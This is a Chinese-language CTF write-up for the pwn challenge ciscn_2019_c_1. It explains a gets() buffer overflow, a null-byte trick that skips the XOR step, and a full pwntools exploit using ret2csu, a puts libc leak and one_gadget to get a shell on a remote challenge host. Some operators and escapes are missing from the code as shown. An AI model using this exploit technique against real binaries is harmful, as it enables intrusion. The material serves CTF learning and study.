本质上是个很简单的pwn,但是开头对payload的异或运算破坏了payload结构,于是一直想着怎么构造payload,忽略了一个绕过技巧。
0x00
题目本身不复杂,可以操作的就是一个加密功能,gets读取输入的内容并做异或加密后输出。存在溢出,但是payload结构会被破坏。
关键代码:
代码语言:javascript复制int encrypt()
{
size_t index; // rbx
char s[48]; // [rsp 0h] [rbp-50h]
__int16 v3; // [rsp 30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
index = (unsigned int)x; // 只要在payload放置一个x00就可以绕过了(strlen和strcmp的通病)
if ( index >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
x;
}
puts("Ciphertext");
return puts(s);
}
可以发现,gets读取输入内容进入while循环之后是由strlen检查长度。经过试验发现gets在回车处结束而x00可以被正常读入,但是strlen是从字符串开头检测到第一个x00截断,所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。
往下就是简单的ret2csu one_gadget,值得注意的是ubuntu18的平台栈老是存在玄学栈对齐问题,要注意多试试用ret gadget 去对齐栈使得程序正常运行。
0x01 完整exp
代码语言:javascript复制from pwn import *
#p = process("ciscn_2019_c_1")
p = remote("node3.buuoj.cn",28487)
elf = ELF("ciscn_2019_c_1")
#libc = ELF("libc.so.6")
libc = ELF("libc2.27.so")
context.log_level = "debug"
main = 0x400B28
gadget_1 = 0x400C7A
gadget_2 = 0x400C60
puts_got=elf.got[b"puts"]
onegadget_offset = 0x10a38c
ret = 0x4006b9
offset = 80 8
payload1 = b"a"*(offset-1) p64(gadget_1) p64(0) p64(1) p64(puts_got) p64(0) p64(0) p64(puts_got)
payload1 = p64(gadget_2) b"a"*56 p64(ret) p64(ret) p64(main)
p.recvuntil(b"Input your choice!n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encryptedn")
p.sendline(b"x00" payload1)
p.recv(12)
puts = u64(p.recv(6).ljust(8,b"x00"))
onegadget = onegadget_offset - libc.symbols[b"puts"] puts
print("puts:",hex(puts))
print("onegadget:",hex(onegadget))
payload2 = b"a"*(offset-1) p64(ret) p64(ret) p64(ret) p64(onegadget)
p.recvuntil(b"Input your choice!n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encryptedn")
p.sendline(b"x00" payload2)
p.interactive()